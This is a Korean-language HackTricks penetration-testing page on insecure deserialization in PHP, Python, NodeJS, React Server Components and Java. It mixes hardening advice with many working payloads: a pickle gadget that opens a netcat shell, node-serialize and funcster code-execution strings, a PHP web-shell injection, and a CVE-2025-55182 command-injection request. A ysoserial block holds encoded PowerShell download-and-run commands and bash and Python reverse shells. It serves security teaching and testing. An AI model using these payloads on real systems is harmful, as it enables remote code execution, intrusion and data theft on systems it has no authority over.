Deserialization

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Serialization은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 객체를 저장하거나 통신 과정에서 전송하기 위한 목적을 가진다. 이 기법은 객체의 구조와 상태를 유지한 채 나중에 객체를 재생성할 수 있도록 보장하기 위해 일반적으로 사용된다.

Deserialization, 반대로, serialization을 역으로 수행하는 과정으로, 특정 형식으로 구조화된 데이터를 받아 원래의 객체로 재구성하는 과정을 말한다.

Deserialization은 객체 재구성 과정에서 공격자가 serialized 데이터를 조작해 악성 코드를 실행시키도록 허용하거나 애플리케이션에 예기치 않은 동작을 일으킬 수 있기 때문에 위험할 수 있다.

PHP

In PHP, specific magic methods are utilized during the serialization and deserialization processes:

  • __sleep: 객체가 serialized 될 때 호출된다. 이 메서드는 serialized 되어야 하는 객체의 모든 속성 이름을 배열로 반환해야 한다. 주로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용된다.
  • __wakeup: 객체가 deserialized 될 때 호출된다. serialization 과정에서 끊어졌을 수 있는 데이터베이스 연결을 재설정하거나 기타 재초기화 작업을 수행하는 데 사용된다.
  • __unserialize: 객체가 deserialized 될 때(해당 메서드가 존재하면) __wakeup 대신 호출된다. __wakeup에 비해 deserialization 과정을 더 세밀하게 제어할 수 있다.
  • __destruct: 객체가 파괴되기 직전이나 스크립트가 종료될 때 호출된다. 일반적으로 파일 핸들 또는 데이터베이스 연결 닫기와 같은 정리 작업에 사용된다.
  • __toString: 객체를 문자열로 취급할 수 있게 해준다. 내부의 함수 호출에 따라 파일 읽기 등의 작업에 사용될 수 있으며, 객체의 텍스트적 표현을 제공한다.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

결과를 보면 객체가 역직렬화될 때 함수 **__wakeup**와 **__destruct**가 호출되는 것을 확인할 수 있습니다. 여러 튜토리얼에서는 어떤 속성을 출력하려 할 때 __toString 함수가 호출된다고 하지만, 현재는 더 이상 그렇지 않은 것으로 보입니다.

Warning

클래스에 구현되어 있다면 메서드 **__unserialize(array $data)**가 __wakeup() 대신에 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용해 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

설명된 PHP 예제는 여기에서 읽을 수 있습니다: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 또는 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

PHP autoload 기능을 악용하여 임의의 php 파일 등을 로드할 수 있습니다:

PHP - Deserialization + Autoload Classes

참조된 값의 직렬화

어떤 이유로 값을 다른 값의 직렬화된 참조로 직렬화하고 싶다면 다음과 같이 할 수 있습니다:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Preventing PHP Object Injection with allowed_classes

[!INFO] unserialize()두 번째 인자($options 배열)에 대한 지원은 PHP 7.0에서 추가되었습니다. 이전 버전에서는 이 함수가 직렬화된 문자열만 허용하므로 어떤 클래스가 인스턴스화될 수 있는지를 제한할 수 없습니다.

unserialize()는 명시적으로 지시하지 않는 한 직렬화 스트림 내에서 발견되는 모든 클래스를 인스턴스화합니다. PHP 7부터는 동작을 allowed_classes 옵션으로 제한할 수 있습니다:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

allowed_classes가 생략되었거나 또는 코드가 PHP < 7.0에서 실행되는 경우, 이 호출은 위험해진다 — 공격자는 __wakeup() 또는 __destruct() 같은 매직 메서드를 악용하는 페이로드를 만들어 Remote Code Execution (RCE)을 달성할 수 있다.

실제 사례: Everest Forms (WordPress) CVE-2025-52709

WordPress 플러그인 Everest Forms ≤ 3.2.2는 헬퍼 래퍼로 방어하려 했지만 레거시 PHP 버전을 고려하지 않았다:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

여전히 PHP ≤ 7.0를 실행하던 서버에서는, 관리자가 악성 폼 제출을 열었을 때 이 두 번째 분기가 고전적인 PHP Object Injection으로 이어졌습니다. 최소한의 exploit payload는 다음과 같을 수 있습니다:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

관리자가 해당 항목을 열람하자마자 객체가 인스턴스화되고 SomeClass::__destruct()가 실행되어 arbitrary code execution이 발생했다.

요점

  1. unserialize()를 호출할 때 항상 ['allowed_classes' => false] (또는 엄격한 화이트리스트)를 전달하세요.
  2. 방어용 래퍼를 점검하세요 — 종종 레거시 PHP 분기를 간과합니다.
  3. 단순히 PHP ≥ 7.x로 업그레이드하는 것만으로는 충분하지 않습니다: 해당 옵션은 여전히 명시적으로 제공되어야 합니다.

PHPGGC (ysoserial for PHP)

PHPGGC는 PHP deserializations를 악용하기 위한 payloads 생성에 도움을 줄 수 있습니다.
참고: 여러 경우 애플리케이션 소스 코드에서 deserialization을 악용할 방법을 찾지 못할 수도 있지만, 외부 PHP extensions의 코드에서 악용할 수 있는 경우도 있습니다.
가능하다면 서버의 phpinfo()를 확인하고 인터넷(또는 PHPGGCgadgets)에서 악용 가능한 gadget을 검색해 보세요.

phar:// metadata deserialization

내부의 php 코드를 실행하지 않고 단순히 파일을 읽는 LFI를 찾았다면(예: file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize() 사용), phar 프로토콜을 사용해 파일을 읽을 때 발생하는 deserialization을 악용해 볼 수 있습니다.
자세한 내용은 다음 포스트를 읽어보세요:

phar:// deserialization

Python

Pickle

객체가 unpickle될 때 함수 ___reduce___가 실행됩니다.
악용될 경우 서버가 에러를 반환할 수 있습니다.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

다음 페이지는 abuse an unsafe deserialization in yamls python libraries 기법을 설명하고, Pickle, PyYAML, jsonpickle and ruamel.yaml에 대한 RCE deserialization 페이로드를 생성할 수 있는 도구로 마무리됩니다:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS에는 PHP나 Python처럼 객체를 생성하는 것만으로 자동으로 실행되는 “magic” 함수가 없습니다. 그러나 직접 호출하지 않아도 자주 사용되는 몇몇 함수들이 있는데, 예를 들면 toString, valueOf, toJSON.
deserialization을 악용할 경우, 이러한 함수들을 다른 코드를 실행하도록 손상시켜(잠재적으로 prototype pollutions을 악용해) 호출될 때 임의의 코드를 실행시킬 수 있습니다.

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

이 기법에 대해 배우고 싶다면 다음 튜토리얼을 확인하세요:

NodeJS - proto & prototype Pollution

node-serialize

이 라이브러리는 함수를 직렬화할 수 있습니다. 예:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

다음은 직렬화된 객체의 예입니다:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

However, just serialising a function won’t execute it as it would be necessary that some part of the code is calling y.rce in our example and that’s highly unlikable.
Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized.
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

앞서 언급했듯이, 이 라이브러리는 _$$ND_FUNC$$_ 이후의 코드를 가져와 eval을 사용해 실행합니다. 따라서 코드를 자동 실행하려면 함수 생성 부분을 삭제하고 마지막 괄호도 제거한 다음 그냥 JS oneliner를 실행하면 됩니다:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

이 취약점을 악용하는 방법에 대한 further informationfind here에서 확인할 수 있습니다.

funcster

funcster의 주목할 만한 점은 표준 빌트인 객체들에 접근할 수 없다는 것입니다; 이 객체들은 접근 가능한 스코프 밖에 위치합니다. 이 제약 때문에 내장 객체의 메서드를 호출하려는 코드를 실행하면 예외가 발생합니다. 예를 들어 console.log()require(something) 같은 명령을 사용하면 “ReferenceError: console is not defined” 같은 예외가 발생합니다.

이 제한에도 불구하고, 모든 표준 빌트인 객체를 포함한 전역 컨텍스트에 대한 완전한 접근을 특정한 접근법을 통해 복원할 수 있습니다. 전역 컨텍스트를 직접 활용하면 이 제한을 우회할 수 있습니다. 예를 들어, 접근을 다음 스니펫을 사용하여 복원할 수 있습니다:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

자세한 정보는 more information read this source.

serialize-javascript

해당 serialize-javascript 패키지는 오직 serialization 용도로만 설계되었으며, 내장된 deserialization 기능을 제공하지 않습니다. 사용자가 deserialization 방법을 직접 구현해야 합니다. 공식 예제에서는 serialization된 데이터를 deserializing할 때 직접 eval을 사용할 것을 권장합니다:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

이 함수가 objects를 deserialize하는 데 사용된다면 쉽게 악용할 수 있습니다:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

자세한 내용은 more information read this source.

Cryo library

다음 페이지들에서는 이 라이브러리를 악용해 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다:

React Server Components / react-server-dom-webpack Server Actions 악용 (CVE-2025-55182)

React Server Components (RSC)은 react-server-dom-webpack (RSDW)에 의해 multipart/form-data로 전송되는 server action 제출을 디코드합니다. 각 action 제출에는 다음이 포함됩니다:

  • $ACTION_REF_<n> 파트는 호출되는 action을 참조합니다.
  • $ACTION_<n>:<m> 파트의 본문은 JSON이며 예: {"id":"module-path#export","bound":[arg0,arg1,...]}.

버전 19.2.0에서 decodeAction(formData, serverManifest) 헬퍼는 id string(어떤 모듈 export를 호출할지 선택)과 bound array(인수)를 무비판적으로 신뢰합니다. 공격자가 decodeAction로 요청을 전달하는 엔드포인트에 도달할 수 있다면 React 프런트엔드 없이도 공격자가 제어하는 파라미터로 임의의 export된 server action을 호출할 수 있습니다 (CVE-2025-55182). 전체 절차는 다음과 같습니다:

  1. Learn the action identifier. Bundle output, error traces or leaked manifests typically reveal strings like app/server-actions#generateReport.
  2. Recreate the multipart payload. Craft a $ACTION_REF_0 part and a $ACTION_0:0 JSON body carrying the identifier and arbitrary arguments.
  3. Let decodeAction dispatch it. The helper resolves the module from serverManifest, imports the export, and returns a callable that the server immediately executes.

Example payload hitting /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

또는 curl로:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

bound 배열은 server-action 매개변수를 직접 채웁니다. 취약한 실습 환경에서 그 gadget은 다음과 같이 보입니다:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

공격자는 실제 React 클라이언트가 없어도 됩니다—$ACTION_* 멀티파트 형태를 전송하는 어떤 HTTP 도구라도 server actions를 직접 호출하고, 그 결과 JSON 출력을 RCE primitive로 연결할 수 있습니다.

Java - HTTP

In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.

Java에서, deserialization callbacks는 deserialization 과정 중에 실행됩니다. 이러한 실행은 이 callbacks를 트리거하는 악성 페이로드를 제작한 공격자에게 악용되어 유해한 동작의 실행으로 이어질 수 있습니다.

Fingerprints

White Box

코드베이스에서 잠재적 serialization 취약점을 식별하려면 다음을 검색하세요:

  • Serializable 인터페이스를 구현한 클래스.
  • java.io.ObjectInputStream, readObject, readUnshare 함수의 사용.

다음에 특히 주의하세요:

  • 외부 사용자가 정의한 매개변수와 함께 사용되는 XMLDecoder.
  • XStreamfromXML 메서드, 특히 XStream 버전이 1.46 이하인 경우 serialization 이슈에 취약합니다.
  • ObjectInputStreamreadObject 메서드의 결합 사용.
  • readObject, readObjectNodData, readResolve, 또는 readExternal 같은 메서드의 구현.
  • ObjectInputStream.readUnshared.
  • Serializable의 일반적 사용.

Black Box

black box 테스트에서는 java serialized objects(ObjectInputStream에서 생성)를 나타내는 특정 **signatures 또는 “Magic Bytes”**를 찾으세요:

  • 16진수 패턴: AC ED 00 05.
  • Base64 패턴: rO0.
  • HTTP 응답 헤더에서 Content-typeapplication/x-java-serialized-object로 설정된 경우.
  • 이전에 압축되었음을 나타내는 16진수 패턴: 1F 8B 08 00.
  • 이전에 압축되었음을 나타내는 Base64 패턴: H4sIA.
  • .faces 확장자를 가진 웹 파일과 faces.ViewState 파라미터. 이러한 패턴이 웹 애플리케이션에서 발견되면 Java JSF ViewState Deserialization에 대한 포스트를 검토하세요.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

취약성 여부 확인

만약 learn about how does a Java Deserialized exploit work 를 배우고 싶다면 다음 문서를 확인하세요: Basic Java Deserialization, Java DNS Deserialization, 및 CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

현대 코드베이스는 종종 deserialization을 java.security.SignedObject로 래핑하고 getObject()를 호출하기 전에 서명을 검증합니다(내부 객체를 deserialization함). 이는 임의의 top-level gadget classes를 방지하지만, 공격자가 유효한 서명을 얻을 수 있다면(예: private-key compromise 또는 signing oracle) 여전히 악용될 수 있습니다. 또한 에러 처리 흐름은 인증되지 않은 사용자에게 세션-바운드 토큰을 발급하여, 그렇지 않으면 보호된 sinks를 pre-auth 상태에서 노출할 수 있습니다.

For a concrete case study with requests, IoCs, and hardening guidance, see:

Java Signedobject Gated Deserialization

White Box Test

알려진 취약점을 가진 application이 설치되어 있는지 확인할 수 있습니다.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

당연히 Ysoserial 가 익스플로잇을 제공할 수 있는, 취약한 것으로 알려진 모든 라이브러리를 확인해 볼 수 있습니다. 또는 Java-Deserialization-Cheat-Sheet에 표시된 라이브러리를 확인할 수 있습니다.
또한 gadgetinspector를 사용해 악용 가능한 가능한 gadget chain을 검색할 수 있습니다.
gadgetinspector를 실행할 때(빌드 후), 수많은 경고/오류는 무시하고 끝날 때까지 기다리세요. 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. gadgetinspector는 익스플로잇을 생성하지 않으며 오탐을 보고할 수 있습니다.

블랙박스 테스트

Burp 확장 gadgetprobe를 사용하면 어떤 라이브러리가 사용 가능한지(심지어 버전도) 식별할 수 있습니다. 이 정보를 통해 취약점을 익스플로잇하기 위한 payload를 선택하기가 더 쉬워질 수 있습니다.
Read this to learn more about GadgetProbe.
GadgetProbe는 ObjectInputStream deserializations에 중점을 두고 있습니다.

Burp 확장 Java Deserialization Scanner를 사용하면 ysoserial로 악용 가능한 취약한 라이브러리를 식별하고 이를 exploit할 수 있습니다.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner는 ObjectInputStream deserializations에 중점을 둡니다.

또한 Freddy를 사용해 Burp에서 deserializations 취약점을 탐지할 수 있습니다. 이 플러그인은 ObjectInputStream 관련 취약점뿐만 아니라 Json 및 Yml deserialization 라이브러리에서 발생하는 취약점도 탐지합니다. 액티브 모드에서는 sleep 또는 DNS payload를 사용해 이를 확인하려고 시도합니다.
You can find more information about Freddy here.

Serialization Test

서버에서 취약한 라이브러리가 사용되는지 확인하는 것만이 전부가 아닙니다. 때때로 직렬화된 객체 내부의 데이터를 변경해 일부 검증을 우회할 수 있습니다(예: 웹앱에서 관리자 권한 획득).
웹 애플리케이션으로 전송되는 java serialized object를 찾으면, SerializationDumper를 사용해 전송되는 serialization object를 보다 사람이 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 보내고 있는지 알면 수정하여 검증을 우회하기가 더 쉬워집니다.

Exploit

ysoserial

Java deserializations를 익스플로잇하기 위한 주요 도구는 ysoserial (download here)입니다. 또한 복잡한 명령(예: 파이프)을 사용할 수 있게 해주는 ysoseral-modified를 고려할 수 있습니다.
이 도구는 ObjectInputStream 익스플로잇에 초점을 맞추고 있다는 점에 유의하세요.
인젝션 가능성을 테스트할 때는 RCE payload 전에 “URLDNS” payload를 먼저 사용해 보는 것을 권합니다. 다만 “URLDNS” payload가 동작하지 않을 수 있지만 다른 RCE payload는 동작할 수도 있습니다.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

**java.lang.Runtime.exec()**용 payload를 생성할 때, 실행의 출력을 리다이렉트하기 위해 “>” 또는 “|” 같은 특수 문자를 사용할 수 없고, 명령을 실행하기 위한 “$()“도 사용할 수 없으며 심지어 공백으로 구분된 pass arguments도 전달할 수 없습니다 (echo -n "hello world"는 가능하지만 python2 -c 'print "Hello world"'는 불가능합니다). payload를 올바르게 인코딩하려면 use this webpage을(를) 참조하세요.

다음 스크립트를 사용하여 Windows 및 Linux용 all the possible code execution payloads를 생성한 뒤 취약한 웹 페이지에서 테스트해 보세요:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

다음 https://github.com/pwntester/SerialKillerBypassGadgetCollectionysoserial과 함께 사용하여 더 많은 exploits를 만들 수 있습니다. 이 도구가 발표된 강연의 슬라이드에서 자세한 정보를 확인하세요: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec 은 Java의 다양한 JsonYml serialization 라이브러리를 exploit하기 위한 payloads를 생성하는 데 사용할 수 있습니다.
프로젝트를 컴파일하기 위해 pom.xml에 다음 종속성추가해야 했습니다:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

maven 설치, 그리고 프로젝트를 컴파일하세요:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

이 Java JSON 라이브러리에 대해 더 읽어보세요: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

실습

이유

Java는 다음과 같은 다양한 목적을 위해 직렬화를 많이 사용합니다:

  • HTTP requests: 직렬화는 매개변수, ViewState, cookies 등의 관리를 위해 널리 사용됩니다.
  • RMI (Remote Method Invocation): Java RMI 프로토콜은 전적으로 직렬화에 의존하며 Java 애플리케이션에서 원격 통신의 핵심입니다.
  • RMI over HTTP: 이 방법은 Java 기반의 thick client 웹 애플리케이션에서 흔히 사용되며, 모든 객체 통신에 직렬화를 사용합니다.
  • JMX (Java Management Extensions): JMX는 네트워크를 통해 객체를 전송할 때 직렬화를 사용합니다.
  • Custom Protocols: Java에서는 일반적으로 원시 Java 객체를 전송하는 방식이 표준이며, 이는 이후의 exploit 예제에서 시연될 것입니다.

예방

Transient 객체

Serializable를 구현한 클래스는 직렬화되어서는 안 되는 내부의 어떤 객체든 transient로 선언할 수 있습니다. 예를 들면:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

클래스가 Serializable을 구현해야 하는 경우 Serialization을 피하세요

클래스 계층 때문에 특정 객체가 Serializable을 구현해야 하는 상황에서는 의도치 않은 deserialization의 위험이 있습니다. 이를 방지하려면 이러한 객체들이 non-deserializable 하도록 항상 예외를 던지는 final readObject() 메서드를 정의하세요. 아래 예시를 참조하세요:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java에서 Deserialization 보안 강화

**Customizing java.io.ObjectInputStream**는 deserialization 프로세스를 보호하기 위한 실용적인 접근법입니다. 이 방법은 다음과 같은 경우에 적합합니다:

  • deserialization 코드가 귀하의 제어 하에 있는 경우.
  • deserialization에 사용될 것으로 예상되는 클래스들이 알려져 있는 경우.

